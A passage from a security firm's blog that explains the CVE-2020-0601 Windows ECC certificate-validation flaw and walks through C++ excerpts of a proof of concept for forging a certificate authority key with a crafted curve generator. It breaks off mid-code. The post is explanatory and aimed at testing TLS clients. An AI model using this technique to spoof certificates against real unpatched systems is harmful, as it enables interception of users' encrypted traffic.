0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h1> <p>In this document we described a typical mobile application test scenario we follow when assessing SSL/TLS communications security. We always verify client-side TLS implementation for all kinds of applications we test: mobile application, web services and other types of software. As we demonstrated in this example it has to be done in all cases: even widely used applications suffer from such vulnerabilities.</p> <p><code>qsslcaudit</code> tool helps pentesters in such assessments as it prepares all kind of certificates. As we demonstrated some clients may not trust self-signed certificates issued for invalid common names but trust others, which have the expected common name field. Manual tests with <code>openssl s_server</code> are doable, but prone to errors and do not have coloured output. :-)</p> <p>Happy intercepting!</p></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Fri, 02/28/2020 - 16:24</span> Fri, 28 Feb 2020 15:24:51 +0000 pavel 952 at https://www.gremwell.com CVE-2020-0601: theory and practice https://www.gremwell.com/blog/cve-202-0601-theory-and-practice <span>CVE-2020-0601: theory and practice</span> <div><ul class="table-of-contents"> <li> <p><a href="#intro">Intro</a></p> </li> <li> <p><a href="#theory">Theory</a></p> <ul> <li> <p><a href="#common-words">Common words</a></p> </li> <li> <p><a href="#ecc">ECC</a></p> </li> <li> <p><a href="#the-issue">The issue</a></p> </li> </ul> </li> <li> <p><a href="#practice">Practice</a></p> <ul> <li> <p><a href="#objective">Objective</a></p> </li> <li> <p><a href="#input-data">Input data</a></p> </li> <li> <p><a href="#evil-private-key-generation">Evil private key generation</a></p> </li> <li> <p><a href="#crafting-certificates">Crafting certificates</a></p> </li> <li> <p><a href="#exploitation">Exploitation</a></p> </li> <li> <p><a href="#qsslcaudit">qsslcaudit</a></p> </li> </ul> </li> <li> <p><a href="#conclusion">Conclusion</a></p> </li> </ul> <h2><a id="user-content-intro" href="#intro" name="intro" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intro</h2> <p>On the 14th of January 2020, Microsoft fixed <a rel="noopener noreferrer" target="_blank" href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601">CVE-2020-0601</a>, a high severity vulnerability affecting &quot;the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates&quot;. Corresponding advisories were issued by <a rel="noopener noreferrer" target="_blank" href="https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF">NSA</a> and <a rel="noopener noreferrer" target="_blank" href="https://kb.cert.org/vuls/id/849224/">CERT</a> on the same day. On the next day it got a few nicknames such as <a rel="noopener noreferrer" target="_blank" href="https://blog.lessonslearned.org/chain-of-fools/">Chain of Fools</a>, or <a rel="noopener noreferrer" target="_blank" href="https://twitter.com/TalBeerySec/status/1217360696893149184?s=20">CurveBall</a>. Some internal details were given by <a rel="noopener noreferrer" target="_blank" href="https://news.ycombinator.com/item?id=22048619">Thomas Ptacek</a> and <a rel="noopener noreferrer" target="_blank" href="https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc/">Kudelski Security</a>. The latter one inspired us to look at this vulnerability from a more practical point of view.</p> <p>Some proof-of-concepts were already available: by <a rel="noopener noreferrer" target="_blank" href="https://github.com/saleemrashid/badecparams">Saleem Rashid</a> and <a rel="noopener noreferrer" target="_blank" href="https://github.com/kudelskisecurity/chainoffools">Kudelski Security</a>. However, we found that even having all aforementioned details and proof-of-concepts it is still not perfectly clear how to implement test for CVE-2020-0601 in general. Such tests were finally added to our client-side SSL/TLS validation tool <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a>. You can discover more details on the subject in this <a href="https://www.gremwell.com/node/950">post</a>.</p> <p>In this article we describe how to generate a certificate (using C++) that a vulnerable client will consider to be valid. We hope that it will help you understand the root cause of the vulnerability and the maths behind.</p> <h2><a id="user-content-theory" href="#theory" name="theory" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Theory</h2> <p><a rel="noopener noreferrer" target="_blank" href="https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc/">Kudelski Security</a> blog post really well describes the mathematical background. Well, not really. :-) The author of this post is a good example of someone who did not - and in fact still does not - have any background in cryptography. As such, everything was clear during reading the article and totally black magic during attempts to implement the same in our own way. Let's try to give an explanation which is closely tied with the implementation.</p> <h3><a id="user-content-common-words" href="#common-words" name="common-words" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Common words</h3> <p>So, what is this issue about? Windows implementation of certain certificates validation had a flaw (at least one which is now public). These *certain certificates* are the ones which are signed using elliptic-curve cryptography method. Here we have two terms which require clarification: *signing* and *elliptic curve cryptography*.</p> <p>A TLS certificate by itself can contain a lot of fields. Some of them can contain arbitrary content, others are purely informational, and several are critical to TLS clients. A client expects to find such fields being equal to certain values (totally depends on client implementation!). For example, if a TLS client connects to some entity claiming the ownership of &quot;example.com&quot; the client expects to find a certificate with &quot;common name&quot; (CN) field set to &quot;example.com&quot;.</p> <p>Obviously, it makes no sense if anyone can write such certificate for &quot;example.com&quot;. In order to provide authenticity of the &quot;example.com&quot; entity, the certificate has to be *signed* by some third-party trusted entity. To *sign* a certificate means to calculate a *signature* over the certificate's fields. This signature is included in the certificate too. Signature can be calculated using various cryptography algorithms. The particular algorithm is also included into the certificate. Currently, such algorithms rely on &quot;public-key cryptography&quot;. Thus, the *public key* itself is also included into certificate. Having all this information (including trust to signing certificate authority) is enough for TLS client to confirm that the TLS server is indeed the owner of the specified resources.</p> <p>In the description above we see another term: *public-key cryptography*. By design, if one entity has a private key it can generate the corresponding public key. The public key is not a secret and is distributed among involved parties. The public key can be used to encrypt arbitrary data but it can not decrypt it. Encrypted data (cipher text) can be decrypted only with the private key.</p> <p>Such feature can be used to implement *signing* process. The owner of the private key produces a signature from its private key and a known data. The owner of the public key uses its public key and the provided signature to calculate shared known data. Then it compares calculation results with the provided data. If they are equal, the public key owner confirms authenticity of the entity which provided the signature.</p> <p>The described approach relies on asymmetric (hardly reversible) mathematical operations. Among such methods are <a rel="noopener noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)">RSA</a> and <a rel="noopener noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography">elliptic-curve cryptography</a>.</p> <p>And we know that something is wrong with how Windows validates signature of ECC certificates...</p> <h3><a id="user-content-ecc" href="#ecc" name="ecc" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ECC</h3> <p>A very good explanation of elliptic-curve cryptography can be found in <a rel="noopener noreferrer" target="_blank" href="https://cryptobook.nakov.com/asymmetric-key-ciphers/elliptic-curve-cryptography-ecc">Practical Cryptography for Developers</a>. Here we will just emphasize some key points related to the discussed proof-of-concept implementation.</p> <p>The elliptic curve cryptography (ECC) uses elliptic curves over the finite field. Here is an example (from the article) showing what it could look like:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">y^2 ≡ x^3 + 7 (mod p)</div></div> <p>This field can be represented as a square matrix of size <code>p x p</code> where <code>p</code> is prime. The points on the curve are limited to integer coordinates within the field only. Thus, dealing with &quot;curve&quot; actually means working over limited set of &quot;points&quot;, defined by their coordinates <code>(x, y)</code>, where each coordinate belongs to the curve (field).</p> <p>See the great illustration from the aforementioned article:</p> <p><img src="https://blobs.gitbook.com/assets%2F-LhlOQMrG9bRiqWpegM0%2F-LhlOTG3w57kUSFndpUZ%2F-LhlPdKtHtyA3W-S25FD%2Felliptic-curve-over-f17-example.png" alt="elliptic curve" /></p> <p><code>p</code> is called field size and determines *key length*. Typically it is a prime number of 256, 384 or 512 bits.</p> <p>As was stated above, the number of points in the field (curve) is limited (finite) and is called *order of the curve* and usually defined as <code>n</code>.</p> <p>There are rules on how algebraic operations within the field are defined. The result of such operation (like point addition and multiplication) within the field always remains in the field.</p> <p>Let's also do the following trick:</p> <ul> <li>select a point on the curve (an object defined by two coordinates);</li> <li>multiply it by an integer number;</li> <li>the result will belong to the curve too, multiply it again by the same number;</li> <li>repeat the process until reaching the initial point.</li> </ul> <p>All points &quot;visited&quot; by such process belong to a list which is called a *subgroup*. There can be several subgroups. The number of them which includes all the curve points (<code>n</code>) is called *cofactor*, <code>h</code>.</p> <p>As one can guess, it should be possible to carefully craft a curve, select a point on it and find an integer number such that the starting point being multiplied by this number several times will cover *all* the curve points. The cofactor <code>h</code> of such curve will be <code>1</code>: the curve contains only one subgroup. Such starting point is called *generator*, <code>G</code>.</p> <p>Standard predefined curves are defined to have cofactor 1 for a known <code>G</code>. Do note that nothing stops from selecting another generator point and multiply it by some integer number. However, this operation could cover less points from the curve (depends on curve properties).</p> <p>Overall, the particular curve is defined by:</p> <ul> <li>Its mathematical formula.</li> <li>Field size <code>p</code> (large prime number).</li> <li>Generator point <code>G</code> on this curve.</li> </ul> <p>To use this curve we define a large integer number, called *private key* <code>k</code>. If we multiply generator point <code>G</code> by private key <code>k</code> we get *public key* <code>P</code>: <code>P = k*G</code>. Note that public key is also a point on the curve (it is defined by two coordinates).</p> <p>Computationally, the public key is calculated very fast (<code>P = k*G</code>). However, the inverse procedure (<code>k = P/G</code>) is extremely slow. This asymmetry is used to implement private-public key cryptography algorithms briefly described above.</p> <h3><a id="user-content-the-issue" href="#the-issue" name="the-issue" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The issue</h3> <p>In order to validate authenticity of the remote party, a TLS client has to validate the signature of the corresponding TLS certificate. This signature is produced by the trusted certificate authority by producing a signature of the provided TLS server certificate using the certificate authority' secret private key. Thus, in theory, a valid signature can be produced only if we know the corresponding certificate authority's private key. However, what happens is that the TLS client (vulnerable Windows version in this case) can improperly validate such signature.</p> <p>By definition of the signature process, a client uses the certificate authority's public key and signature to craft shared public data. If they are equal then the signer is considered as having a valid private key.</p> <p>In <a rel="noopener noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)">RSA</a> cryptosystem the only &quot;variable&quot; which we can change in the process is private key (large integer). All other operations is &quot;basic&quot; arithmetic. However, in case of <a rel="noopener noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography">ECC</a> we also have the curve itself.</p> <p>Remember from the previous section that public key (shared, known to every one) is a product of private key and generator: <code>P = k*G</code> ? Generator here defines the curve and is included in the certificate, but taking it into an account is up to client itself.</p> <p>We can not find the original private key <code>k</code>, but we can select our own generator <code>G'</code> and some other private <code>k'</code> which will produce the desired public <code>P</code>: <code>P = k' * G'</code>. Here private key <code>k'</code> is an integer, generator <code>G'</code> is a point and public key <code>P</code> is a point too.</p> <p>If our algorithm produces the same public key it will produce the same signature too. Thus, if TLS client uses our ECC algorithm (curve) instead of the one set in the CA's certificate it will consider our fake signature as valid.</p> <h2><a id="user-content-practice" href="#practice" name="practice" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Practice</h2> <p>In order to implement the discussed proof of concept we decided to use <a rel="noopener noreferrer" target="_blank" href="https://cryptopp.com/">CryptoPP</a> library for elliptic curve computations and <a rel="noopener noreferrer" target="_blank" href="https://www.openssl.org/">OpenSSL</a> API to deal with certificates. Unfortunately, CryptoPP by itself does not implement operations on TLS certificates.</p> <p>Below we will take some excerpts from our PoC published on Github as <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc">cve-2020-0601_poc</a> and explain them.</p> <h3><a id="user-content-objective" href="#objective" name="objective" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Objective</h3> <p>Our objective is to craft a certificate chain which will be considered as valid for a particular domain name by our victim.</p> <p>For this chain we first need a CA certificate similar to some that are already known to the victim. Then we have to produce a private key which uses our custom elliptic curve. This private key has to produce the same public key than the valid CA certificate.</p> <p>Then we have to create a TLS web server certificate issued for a particular common name, signed by some private key (generated using some known curve). If we sign this certificate using our evil certificate authority it will produce the same signature as would the valid one.</p> <h3><a id="user-content-input-data" href="#input-data" name="input-data" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Input data</h3> <p>Only the following is required as input data:</p> <ul> <li>Original CA certificate. It contains the certificate authority's public key and other fields which can be copied. However, the only essential field is &quot;serial number&quot;.</li> <li>Target common name. Usually, it is a host name our victim connects to.</li> </ul> <p>The input data is parsed by our PoC in its <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/main.cpp#L73">main()</a> function by extracting a public key and a serial number from the provided certificate:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #666666;">// get raw public key bytes from the CA certificate</span><br /> &nbsp; &nbsp; <span style="color: #666666;">// our objective is to be able to craft a key that will produce them</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">char</span> caPubKey<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">8192</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">size_t</span> caPubKeyLen<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; ret <span style="color: #000080;">=</span> getCertPublicKey<span style="color: #008000;">&#40;</span>caCertPem.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, caCertPem.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, caPubKey, <span style="color: #000040;">&amp;</span>caPubKeyLen<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span>ret<span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">return</span> <span style="color: #000040;">-</span><span style="color: #0000dd;">1</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #008000;">&#125;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #666666;">// get CA's serial number</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">char</span> caSerial<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">512</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">size_t</span> caSerialLen<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; ret <span style="color: #000080;">=</span> getCertSerial<span style="color: #008000;">&#40;</span>caCertPem.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, caCertPem.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, caSerial, <span style="color: #0000dd;">sizeof</span><span style="color: #008000;">&#40;</span>caSerial<span style="color: #008000;">&#41;</span>, <span style="color: #000040;">&amp;</span>caSerialLen<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span>ret<span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">return</span> <span style="color: #000040;">-</span><span style="color: #0000dd;">1</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #008000;">&#125;</span></div></div> <p>The routines <code>getCertPublicKey()</code> and <code>getCertSerial()</code> are implemented using OpenSSL API in <code>openssl-helper.cpp</code> file <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L13">here</a> and <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L85">here</a>. There is nothing special there except that we carefully convert formats to have public key and serial number as raw bytes sequences.</p> <p>Okay, we have the input data, let's start crafting certificates. This is done in function <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/main.cpp#L9">genCve20200601Cert</a>.</p> <h3><a id="user-content-evil-private-key-generation" href="#evil-private-key-generation" name="evil-private-key-generation" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Evil private key generation</h3> <p>The <code>craftEvilPrivKey()</code> function implemented in <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/cve-2020-0601_poc.cpp#L114">cve-2020-0601_poc.cpp</a> does this job in the following way.</p> <p>At first, we create CryptoPP representation of CA's public key. This object defines elliptic curve and a point on it:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; DL_Keys_ECDSA<span style="color: #000080;">&lt;</span>ECP<span style="color: #000080;">&gt;</span><span style="color: #008080;">::</span><span style="color: #007788;">PublicKey</span> caPubKey<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; caPubKey.<span style="color: #007788;">Load</span><span style="color: #008000;">&#40;</span>CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">ArraySource</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">const</span> CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">byte</span> <span style="color: #000040;">*</span><span style="color: #008000;">&#41;</span>caPubKeyRaw,<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;caPubKeyRawLen, <span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span>.<span style="color: #007788;">Ref</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>This allows us to access original elliptic curve definition and parameters as <code>caPubKey.GetGroupParameters()</code>. We use exactly this curve to generate a new private key:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">AutoSeededRandomPool</span> prng<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; DL_Keys_ECDSA<span style="color: #000080;">&lt;</span>ECP<span style="color: #000080;">&gt;</span><span style="color: #008080;">::</span><span style="color: #007788;">PrivateKey</span> privKeyBase<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; privKeyBase.<span style="color: #007788;">Initialize</span><span style="color: #008000;">&#40;</span>prng, caPubKey.<span style="color: #007788;">GetGroupParameters</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>To convert this private key to the one which produces the desired public key we have to modify elliptic curve parameters. We have to produce an evil generator <code>G'</code> which satisfies the following equation: <code>G' = Q / k</code>. Or the same: <code>G' = Q * 1/k</code>. <code>Q</code> -- is CA's public key (remember that it is a point?). <code>1/k</code> is the *inverse* value of the private key obtained earlier. Inversion is calculated as <code>(k ^ -1) mod n</code>, where <code>n</code> is the curve order. We need <code>mod</code> operation here as &quot;curve&quot;, which is in fact a &quot;finite field&quot; with some order.</p> <p>This is <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/cve-2020-0601_poc.cpp#L134">implemented</a> as:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #666666;">// calculate an inverse value of the private key</span><br /> &nbsp; &nbsp; CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">Integer</span> privKeyInverse <span style="color: #000080;">=</span> CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">EuclideanMultiplicativeInverse</span><span style="color: #008000;">&#40;</span>privKeyBaseExp, privKeyBaseOrder<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #666666;">// produce our custom generator (base point) as a multiplication of the inverse value of our private key</span><br /> &nbsp; &nbsp; <span style="color: #666666;">// and the public key of the provided CA certificate</span><br /> &nbsp; &nbsp; ECP<span style="color: #008080;">::</span><span style="color: #007788;">Point</span> caPubKeyQ <span style="color: #000080;">=</span> caPubKey.<span style="color: #007788;">GetPublicElement</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; ECP<span style="color: #008080;">::</span><span style="color: #007788;">Point</span> evilG <span style="color: #000080;">=</span> privKeyBaseCurve.<span style="color: #007788;">ScalarMultiply</span><span style="color: #008000;">&#40;</span>caPubKeyQ, privKeyInverse<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>Now we have everything we need to craft our own curve and the corresponding private key structure:</p> <ul> <li>Curve mathematical form (from CA's public key).</li> <li>Curve order (from CA's public key).</li> <li>Base generator: <code>evilG</code>.</li> <li>Some large integer as a private key itself.</li> </ul> <p>It is done <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/cve-2020-0601_poc.cpp#L140">here</a>:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #666666;">// create an &quot;evil&quot; private key object using the base private's key exponent and curve but</span><br /> &nbsp; &nbsp; <span style="color: #666666;">// with our &quot;evil&quot; generator (base point)</span><br /> &nbsp; &nbsp; DL_Keys_ECDSA<span style="color: #000080;">&lt;</span>ECP<span style="color: #000080;">&gt;</span><span style="color: #008080;">::</span><span style="color: #007788;">PrivateKey</span> evilPrivKey<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; evilPrivKey.<span style="color: #007788;">Initialize</span><span style="color: #008000;">&#40;</span>privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>That is it. It will work as expected by design.</p> <p>What is left is to <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/cve-2020-0601_poc.cpp#L145">export</a> private key structure as a raw bytes:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #666666;">// convert evil private key into PKCS8 format</span><br /> &nbsp; &nbsp; CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">ArraySink</span> evilPrivKeyPKCS8As<span style="color: #008000;">&#40;</span><span style="color: 